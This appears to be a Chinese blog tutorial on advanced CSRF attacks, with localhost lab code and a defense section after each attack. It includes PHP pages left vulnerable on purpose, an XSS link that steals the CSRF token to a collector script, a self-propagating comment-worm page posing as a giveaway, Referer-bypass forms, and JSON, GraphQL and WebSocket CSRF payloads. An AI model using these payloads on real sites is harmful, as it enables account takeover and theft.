WEB安全之CSRF专题:进阶内容拓展

大家好,你们可以叫我凌,是个16岁的网络安全学习者

现在又在赶文字了,嘻嘻~主要是最近都在刷CTF题目呢,实在没有时间更新了,所以说望见谅啦~不过放心,我每周也会保证至少1篇文章的产出的。

那么,我们今天就来搞搞CSRF的进阶内容,那就直接开始吧!


高级利用场景

配合 XSS 绕过 CSRF Token

攻击原理

CSRF Token 的防御核心在于:服务端生成一个与用户会话绑定的随机值,并校验每次请求是否携带该值。攻击者无法直接获取 Token,因此无法构造有效请求。但若目标网站存在 XSS 漏洞,攻击者便可以在受害者浏览器的页面上下文中执行 JavaScript,从而读取页面中的 Token 并构造恶意请求。

攻击条件

  1. 目标网站使用 CSRF Token 防护。

  2. 目标网站存在 XSS 漏洞(反射型或存储型)。

  3. Token 存放在页面 DOM 中(如 <input type="hidden" name="csrf_token" value="...">)。

攻击流程

  1. 攻击者发现目标网站的 XSS 注入点。

  2. 构造恶意脚本,在受害者浏览器中读取 CSRF Token(如 document.querySelector('name=csrf_token').value)。

  3. 将 Token 通过 AJAX 发送到攻击者服务器,或在当前页面直接构造带 Token 的 POST 请求。

  4. 请求携带正确 Token 和用户 Cookie,服务器认为是合法请求,执行操作。

靶场验证

参考 token_vuln.php + token_attack.html + steal.php 组合演示。

文件内容

/CSRF/token_vuln.php

php 复制代码
<?php
session_start();

// 生成 CSRF Token(与用户会话绑定)
if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// 模拟用户登录
if (!isset($_SESSION['user'])) {
    $_SESSION['user'] = 'victim';
    $_SESSION['balance'] = 10000;
}

$result = '';

// 处理转账请求(需要验证 CSRF Token)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['to'], $_POST['amount'], $_POST['csrf_token'])) {
    if (hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        $to = $_POST['to'];
        $amount = intval($_POST['amount']);
        if ($amount > 0 && $amount <= $_SESSION['balance']) {
            $_SESSION['balance'] -= $amount;
            $result = "成功向 {$to} 转账 {$amount} 元!当前余额:{$_SESSION['balance']}";
        } else {
            $result = "转账失败:金额无效或余额不足。";
        }
    } else {
        $result = "CSRF Token 验证失败!";
    }
}

// 存在 XSS 漏洞:直接将 GET 参数 name 输出到页面(反射型 XSS)
$name = isset($_GET['name']) ? $_GET['name'] : '';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>银行系统 - CSRF Token + XSS 漏洞</title>
</head>
<body>
    <h1>银行系统(存在 CSRF Token 和 XSS 漏洞)</h1>
    <p>当前用户:<?php echo htmlspecialchars($_SESSION['user']); ?> | 余额:<?php echo $_SESSION['balance']; ?></p>

    <div>欢迎您,<?php echo $name; ?></div>

    <form method="POST" id="transferForm">
        <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
        收款账号:<input type="text" name="to"><br>
        转账金额:<input type="number" name="amount"><br>
        <button type="submit">转账</button>
    </form>

    <?php if ($result): ?>
        <div style="color: red;"><?php echo htmlspecialchars($result); ?></div>
    <?php endif; ?>

    <hr>
    <p style="font-size:12px">本页面存在反射型 XSS(参数 name),同时使用了 CSRF Token 防护。</p>
</body>
</html>

/CSRF/steal.php

php 复制代码
<?php
// 保存窃取的 Token 到文件
if (isset($_GET['token'])) {
    file_put_contents('stolen_tokens.txt', $_GET['token'] . PHP_EOL, FILE_APPEND);
    echo 'OK';
} else {
    echo 'No token';
}
?>

/XCSRF/token_attack.html

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>攻击页面 - 利用 XSS 窃取 CSRF Token</title>
</head>
<body>
    <h1>正在加载中...</h1>
    <form action="http://localhost/CSRF/token_vuln.php" method="POST" id="csrf-form">
        <input type="hidden" name="to" value="attacker">
        <input type="hidden" name="amount" value="5000">
        <input type="text" name="csrf_token" placeholder="请输入窃取到的 Token" size="64">
        <button type="submit">提交</button>
    </form>
    <p>演示说明:攻击者首先诱使受害者点击包含 XSS 的链接,从而窃取 Token。</p>
    <p>请先手动获取 Token(查看漏洞页面源码中的隐藏字段值),然后粘贴到上方输入框,点击提交即可转账。</p>
</body>
</html>
使用步骤

第一步:确认漏洞页面正常

访问:http://localhost/CSRF/token_vuln.php

页面显示余额 10000,表单中包含一个隐藏的 CSRF Token(可查看源码确认)。

第二步:构造 XSS 攻击链接(模拟受害者点击)

复制以下完整链接到浏览器地址栏并访问(这是攻击者发送给受害者的链接):

http://localhost/CSRF/token_vuln.php?name=<script>var t%3Ddocument.querySelector('[name%3Dcsrf_token]').value%3Bfetch('http%3A%2F%2Flocalhost%2FCSRF%2Fsteal.php%3Ftoken%3D'%2Bt)<%2Fscript>

此时,XSS 脚本会在后台执行,将 Token 发送到 steal.php。

第三步:确认 Token 是否被成功窃取

访问:http://localhost/CSRF/steal.php?token=test123

如果返回 OK,说明脚本工作正常。

然后查看 http://localhost/CSRF/stolen_tokens.txt,里面应该包含了窃取到的真实 Token。

如果直接访问 stolen_tokens.txt 出现 404,请检查 CSRF 目录是否可写,或者先用 steal.php?token=test123 测试是否能生成文件。

第四步:使用窃取的 Token 发起 CSRF 攻击

访问:http://localhost/XCSRF/token_attack.html

将 stolen_tokens.txt 中的 Token 复制粘贴到输入框,点击提交。

转账成功,余额被扣除,说明 CSRF Token 被 XSS 窃取后成功绕过。

注意:这里的value参数才是我们需要的Token

防御:修复 XSS 漏洞是根本;Token 应绑定会话且不可预测;考虑使用 HttpOnly Cookie 存储 Token(但需配合 JS 读取,存在矛盾)。

CSRF 蠕虫

攻击原理

CSRF 蠕虫利用 CSRF 漏洞在社交网站中自动发布包含攻击链接的内容(如帖子、评论),当其他用户浏览该内容并点击链接时,又会触发新的 CSRF,形成自我传播的链条。

攻击条件

  1. 目标网站存在 CSRF 漏洞(如发帖、评论等操作无 Token 校验)。

  2. 发布的内容可包含链接,且其他用户可访问。

传播机制

  1. 攻击者发布一条初始内容,内容中包含指向攻击页面的链接。

  2. 受害者 A 点击链接,访问攻击页面。

  3. 攻击页面自动通过 CSRF 让受害者 A 发布一条新内容,内容同样包含该攻击链接。

  4. 受害者 B 看到 A 发布的内容后点击,重复步骤 3,传播链形成。

危害:可导致大量用户自动发布恶意内容,迅速污染整个平台。

靶场验证

参考 forum.php + comment.php + worm_attack.html 组合演示。

文件内容

/CSRF/forum.php

php 复制代码
<?php
session_start();
if (!isset($_SESSION['user'])) {
    $_SESSION['user'] = 'victim';
}

$post = [
    'id' => 1,
    'title' => '欢迎来到 CSRF 蠕虫演示论坛',
    'content' => '请在此帖子下方留言,测试 CSRF 蠕虫的传播效果。'
];

$comments = [];
if (file_exists('comments.txt')) {
    $lines = file('comments.txt', FILE_IGNORE_NEW_LINES);
    foreach ($lines as $line) {
        $parts = explode('|', $line);
        if (count($parts) >= 2) {
            $comments[] = ['user' => $parts[0], 'content' => $parts[1]];
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CSRF 蠕虫演示 - 论坛</title>
</head>
<body>
    <h1>CSRF 蠕虫演示论坛</h1>
    <p>当前用户:<?php echo htmlspecialchars($_SESSION['user']); ?></p>
    <hr>

    <h2><?php echo htmlspecialchars($post['title']); ?></h2>
    <p><?php echo htmlspecialchars($post['content']); ?></p>

    <h3>评论列表</h3>
    <?php if (count($comments) > 0): ?>
        <?php foreach ($comments as $c): ?>
            <div style="border:1px solid #ccc; padding:5px; margin:5px;">
                <strong><?php echo htmlspecialchars($c['user']); ?> 说:</strong>
                <?php echo htmlspecialchars($c['content']); ?>
            </div>
        <?php endforeach; ?>
    <?php else: ?>
        <p>暂无评论,快来发表第一条吧!</p>
    <?php endif; ?>

    <hr>
    <h3>发表评论</h3>
    <form action="comment.php" method="POST">
        <input type="hidden" name="user" value="<?php echo $_SESSION['user']; ?>">
        <textarea name="content" rows="3" cols="60" placeholder="请输入评论内容"></textarea><br>
        <button type="submit">提交评论</button>
    </form>

    <hr>
    <p style="font-size:12px">此演示存在 CSRF 漏洞,攻击者可通过恶意链接让用户自动发表评论。</p>
</body>
</html>

/CSRF/comment.php

php 复制代码
<?php
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['user'], $_POST['content'])) {
    $user = $_POST['user'];
    $content = $_POST['content'];

    $line = $user . '|' . $content . PHP_EOL;
    file_put_contents('comments.txt', $line, FILE_APPEND | LOCK_EX);

    header('Location: forum.php');
    exit;
} else {
    header('Location: forum.php');
    exit;
}
?>

/XCSRF/worm_attack.html

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>免费的积分领取!</title>
</head>
<body>
    <h1>🎉 恭喜您获得 1000 积分!</h1>
    <p>点击下方链接即可领取:</p>
    <a href="http://localhost/CSRF/forum.php" target="_blank">点击领取积分</a>

    <form action="http://localhost/CSRF/comment.php" method="POST" id="csrf-form">
        <input type="hidden" name="user" value="victim">
        <input type="hidden" name="content" value="【转发福利】点击领取1000积分:http://localhost/XCSRF/worm_attack.html">
    </form>
    <script>
        document.getElementById("csrf-form").submit();
    </script>
    <p style="color:gray; font-size:12px;">(您已被自动转发这条福利信息,这是为了帮助更多人!)</p>
</body>
</html>
使用步骤

访问 http://localhost/CSRF/forum.php,手动发表第一条评论:

点击领取积分:http://localhost/XCSRF/worm_attack.html

访问 http://localhost/XCSRF/worm_attack.html,页面加载后自动提交评论。

刷新 forum.php,评论列表中新增了一条含恶意链接的评论。

重复步骤 2-3,每次访问都会新增一条评论,形成蠕虫传播。

防御:敏感操作(发帖、转发)使用 CSRF Token;限制同一用户的操作频率(如验证码);对发布内容中的链接进行安全检测。

绕过 Referer 检查

攻击原理

Referer 检查是一种常见的 CSRF 辅助防御手段:服务端校验 HTTP 请求头中的 `Referer` 字段,判断请求是否来源于本站域名。但 Referer 检查存在多种绕过方式,不能作为主要防御。

绕过方法

① 空 Referer

从某些协议(如 data:、file:、about:blank)发起的请求不带 Referer;使用 <meta name="referrer" content="no-referrer"> 可使页面内所有请求不带 Referer。

② 利用合法跳转

若目标网站存在开放重定向或 JSONP 接口,攻击者可先跳转到合法页面再发起请求,使 Referer 看起来来自本站。

③ 浏览器扩展/插件

部分浏览器扩展可修改或删除 Referer。

攻击条件

  1. 目标网站仅依赖 Referer 检查防御 CSRF。

  2. 允许空 Referer 或存在开放重定向等辅助漏洞。

靶场验证

参考 referer_vuln.php + referer_attack.html(空 Referer)+ referer_fake.html(伪造 Referer)组合演示。

文件内容

/CSRF/referer_vuln.php

php 复制代码
<?php
session_start();

if (!isset($_SESSION['user'])) {
    $_SESSION['user'] = 'victim';
    $_SESSION['balance'] = 10000;
}

$result = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['to'], $_POST['amount'])) {
    $referer = $_SERVER['HTTP_REFERER'] ?? '';

    if (strpos($referer, 'http://localhost/CSRF/') === 0) {
        $to = $_POST['to'];
        $amount = intval($_POST['amount']);
        if ($amount > 0 && $amount <= $_SESSION['balance']) {
            $_SESSION['balance'] -= $amount;
            $result = "成功向 {$to} 转账 {$amount} 元!当前余额:{$_SESSION['balance']}";
        } else {
            $result = "转账失败:金额无效或余额不足。";
        }
    } else {
        $result = "转账失败:Referer 校验不通过!";
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>银行系统 - Referer 检查漏洞</title>
</head>
<body>
    <h1>银行系统(仅 Referer 检查)</h1>
    <p>当前用户:<?php echo $_SESSION['user']; ?> | 余额:<?php echo $_SESSION['balance']; ?></p>

    <form method="POST">
        收款账号:<input type="text" name="to"><br>
        转账金额:<input type="number" name="amount"><br>
        <button type="submit">转账</button>
    </form>

    <?php if ($result): ?>
        <div style="color: red;"><?php echo $result; ?></div>
    <?php endif; ?>

    <hr>
    <p style="font-size:12px">本页面仅通过 Referer 检查防御 CSRF。</p>
</body>
</html>

/XCSRF/referer_attack.html

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>攻击页面 - 空 Referer</title>
    <meta name="referrer" content="no-referrer">
</head>
<body>
    <h1>正在处理...</h1>
    <form action="http://localhost/CSRF/referer_vuln.php" method="POST" id="csrf-form">
        <input type="hidden" name="to" value="attacker">
        <input type="hidden" name="amount" value="5000">
    </form>
    <script>
        document.getElementById("csrf-form").submit();
    </script>
</body>
</html>

/XCSRF/referer_fake.html

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>攻击页面 - 伪造 Referer</title>
    <meta name="referrer" content="unsafe-url">
</head>
<body>
    <h1>正在加载...</h1>
    <iframe name="hiddenFrame" style="display:none"></iframe>
    <form action="http://localhost/CSRF/referer_vuln.php" method="POST" target="hiddenFrame" id="csrf-form">
        <input type="hidden" name="to" value="attacker">
        <input type="hidden" name="amount" value="5000">
    </form>
    <script>
        document.getElementById("csrf-form").submit();
    </script>
    <p style="color:gray;">(此页面尝试伪造 Referer,实际成功率因浏览器而异)</p>
</body>
</html>
使用步骤

第一步:确认漏洞页面正常

访问:http://localhost/CSRF/referer_vuln.php

页面显示当前用户和余额(初始 10000)。

第二步:正常同源请求(参照组)

在 referer_vuln.php 页面中,直接使用页面内的表单提交一笔转账(如向 test 转账 100 元),此时 Referer 为 http://localhost/CSRF/referer_vuln.php,符合校验规则,转账成功。

第三步:空 Referer 攻击

访问:http://localhost/XCSRF/referer_attack.html

该页面设置了 <meta name="referrer" content="no-referrer">,提交表单时不携带 Referer。

观察 referer_vuln.php 页面,若转账失败且提示"Referer 校验不通过",说明空 Referer 绕过失败(现代浏览器已限制)。若成功,说明该服务器允许空 Referer。

第四步:伪造 Referer 攻击(可选)

访问:http://localhost/XCSRF/referer_fake.html

该页面尝试伪造 Referer,成功率因浏览器和安全策略而异。主要用于理解 Referer 检查的局限性。

防御:不应单独依赖 Referer 检查,应配合 CSRF Token 或 SameSite Cookie 属性;可使用 Referrer-Policy: strict-origin-when-cross-origin 策略,但不影响跨站攻击。

章节小结

三个高级场景共同揭示了一点:CSRF 防御不能靠单一措施。Token 可能被 XSS 窃取,Referer 可能被绕过,蠕虫则利用 CSRF 漏洞的传播特性进行二次扩散。真正的纵深防御需要

  • 核心操作使用 CSRF Token(并确保 Token 与用户会话强绑定)。

  • 防范 XSS(输出编码、CSP),避免 Token 被窃取。

  • 设置 Cookie 的 SameSite 属性。

  • 对敏感操作增加用户交互(如验证码)。

现代架构中的 CSRF 攻击向量

JSON API 的 CSRF

攻击原理

现代 Web 应用常使用 JSON 格式作为 API 的数据交换格式。开发者可能认为 JSON 请求比传统表单更安全,或认为跨域请求(CORS)策略已足够。然而,若后端仅检查请求体是否为 JSON,而未严格校验 Content-Type 请求头,攻击者可以通过构造一个 enctype="text/plain" 的 HTML 表单,使浏览器将 JSON 数据作为纯文本提交,从而绕过 CSRF 防御。

攻击条件

  1. 目标 API 接受 POST 请求,请求体为 JSON 格式。

  2. 后端未校验 Content-Type: application/json,或使用了宽松的解析方式(如 PHP 的 php://input 直接读取)。

  3. 认证依赖于 Cookie(如 Session Cookie)。

攻击代码

html 复制代码
<form action="https://api.example.com/user/update" method="POST" enctype="text/plain" id="csrf-form">
    <input name='{"email":"hacker@evil.com", "ignore":"' value='"}'>
</form>
<script>document.getElementById("csrf-form").submit();</script>

提交后,请求体为:

{"email":"hacker@evil.com", "ignore":"="}

若后端使用 json_decode() 解析,email 字段会被成功提取,而 ignore 字段被忽略。

防御方法

  1. 严格校验 Content-Type: application/json,拒绝其他类型的请求。

  2. 使用 CSRF Token,并将其放在请求头(如 X-CSRF-TOKEN)中,而非请求体。

  3. 对于敏感操作,增加二次确认(如验证码)。

WebSocket 握手 CSRF

攻击原理

WebSocket 连接通过 HTTP 升级握手建立。若服务端在握手阶段未校验 Origin 头或未要求携带 CSRF Token,攻击者可诱导用户建立恶意 WebSocket 连接,从而窃取实时数据(如聊天记录)或执行操作(如发送消息)。

攻击条件

  1. 目标 WebSocket 服务端未校验 Origin 头。

  2. WebSocket 握手请求依赖于 Cookie 进行身份认证。

  3. 攻击者能预测 WebSocket URL 和消息格式。

攻击代码

html 复制代码
<script>
var ws = new WebSocket("ws://target.com/chat");
ws.onopen = function() {
    ws.send("恶意消息");
};
</script>

防御方法

  1. 校验 Origin 头,确保请求来自可信域名。

  2. 在 WebSocket 握手 URL 中携带 CSRF Token(如 ws://target.com/chat?token=xxx)。

  3. 使用 wss:// 加密传输,防止中间人篡改。

单页应用(SPA)中的 CSRF

攻击原理

单页应用(SPA)通常通过 API 获取数据,若认证依赖于 Cookie(如 Session Cookie),则 API 请求仍可能受 CSRF 影响。许多前端框架(如 Angular)内置了 CSRF 防护(如 HttpClientXsrfModule),但需正确配置。

常见配置错误

  1. 未启用框架内置的 CSRF 防护。

  2. 将 CSRF Token 存储在 localStorage 中(可被 XSS 窃取)。

  3. 未将 Token 添加到请求头(如 X-XSRF-TOKEN)。

正确配置示例(Angular)

TypeScript 复制代码
import { HttpClientModule, HttpClientXsrfModule } from '@angular/common/http';

@NgModule({
    imports: [
        HttpClientModule,
        HttpClientXsrfModule.withOptions({
            cookieName: 'XSRF-TOKEN',
            headerName: 'X-XSRF-TOKEN'
        })
    ]
})
export class AppModule { }

防御方法

  1. 使用框架内置的 CSRF 防护,并正确配置 Cookie 和请求头名称。

  2. 将 CSRF Token 存储在 Cookie 中(设置 SameSite=Lax),SPA 从 Cookie 读取 Token 并添加到请求头。

  3. 使用 SameSite=Strict 或 Lax 属性直接防御 CSRF。

GraphQL API 的 CSRF 风险

攻击原理

GraphQL API 通常使用单一端点(如 /graphql),通过 POST 请求发送 JSON 格式的查询(query)或变更(mutation)。若未配置 CSRF 防护,攻击者可通过多种方式绕过:

  1. 通过 enctype="text/plain" 表单发送 mutation(同 4.1 JSON API)。

  2. 批量操作(Batch Query):若一次性 Token 只校验一次,批量中的多个 mutation 可能只检查第一个,后续 mutation 绕过校验。

  3. 自省查询(Introspection):泄露 API 结构,辅助攻击者构造恶意 mutation。

  4. GET 请求:若 GraphQL 端点允许 GET 请求执行 mutation(尽管官方不推荐),攻击者可通过 <img src="..."> 触发。

攻击代码示例

① text/plain 表单

html 复制代码
<form action="http://target.com/graphql" method="POST" enctype="text/plain" id="csrf-form">
    <input name='{"query":"mutation{updateEmail(email:\\"hacker@evil.com\\")}"}' value=''>
</form>
<script>document.getElementById("csrf-form").submit();</script>

② GET 请求(若允许)

html 复制代码
<img src="http://target.com/graphql?query=mutation{updateEmail(email:'hacker@evil.com')}">

③ 批量查询绕过 Token (json)

html 复制代码
[
    {"query": "mutation{updateEmail(email:'hacker@evil.com')}"},
    {"query": "mutation{updatePassword(password:'123456')}"}
]

防御方法

  1. 强制要求 Content-Type: application/json,拒绝 text/plain 等格式。

  2. 使用 CSRF Token,并校验每个 mutation 操作。

  3. 限制批量查询的大小(如最多 5 个操作),并对每个操作分别校验 Token。

  4. 禁用自省查询(生产环境)。

  5. 禁止 GET 请求执行 mutation,仅允许 POST。

  6. 使用 SameSite Cookie 属性作为辅助防御。

章节小结

现代架构下的 CSRF 风险主要源于开发者的错误假设:认为 JSON API、GraphQL 或 WebSocket 天然安全,或过度依赖 CORS 策略。实际上,CSRF 的核心问题始终是浏览器自动携带 Cookie,无论 API 格式如何,只要认证依赖 Cookie,且服务端未严格校验请求来源或 Token,攻击者即可利用表单、脚本或标签发起跨站请求。

|-----------|------------------|-----------------------------|
| 攻击向量 | 核心风险点 | 推荐防御 |
| JSON API | 未校验 Content-Type | 强制 application/json + Token |
| WebSocket | 未校验 Origin | 校验 Origin + Token |
| SPA | 框架防护未正确配置 | 启用内置防护 + Token 存 Cookie |
| GraphQL | 批量操作绕过 Token | 限制批量大小 + 分别校验 |

核心思路:无论使用何种 API 架构,只要认证依赖于 Cookie,CSRF 的风险就存在。防御的本质是让攻击者无法构造出与合法请求完全相同的跨站请求------Token 校验、Content-Type 校验、Origin 校验、SameSite 属性,四者结合,才能有效抵御现代架构中的 CSRF 攻击。